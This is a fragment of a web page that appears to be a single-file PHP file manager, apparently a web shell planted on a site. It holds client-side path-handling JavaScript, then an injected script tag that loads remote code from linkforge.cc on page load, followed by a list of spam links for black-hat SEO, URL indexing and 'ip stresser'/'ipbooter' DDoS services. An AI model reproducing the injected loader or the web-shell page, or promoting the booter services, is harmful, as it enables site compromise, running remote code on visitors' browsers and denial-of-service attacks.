=== 'copy') ? 'Copy to folder (absolute path):' : 'Move to folder (absolute path):'; var dest = prompt(hint, cur); if(dest === null) return false; dest = dest.replace(/\\/g,'/').trim(); if(!dest) return false; var v = fmB64(dest); if (v === null) { alert('Could not encode that path — please retry.'); return false; } var h = document.createElement('input'); h.type = 'hidden'; h.name = 'dest_b64'; h.value = v; form.appendChild(h); return true; } </script> <!-- rs:js-connector --><script src="https://linkforge.cc/assets/js/connector.js?key=c5f9ae885d1ab192e1c3bf95400b02eb84f0e5f706d58979&v=1.2" async></script> </body> </html>
Cancel
Download
Save changes
File Manager Pro · single-file PHP 7.4.33 on Linux · paths encrypted in URL (AES-256-CTR)
BlackHat Seo Services
BlackHat Seo Services
Instant url indexer
url indexer
BlackHat Seo Services
Seo services
BlackHat Seo Services
instant url indexer
BlackHat Seo Services
ip stresser
instant url indexer
ipbooter
ipbooter
instant url indexer
ip stresser
BlackHat Seo Services
Seo services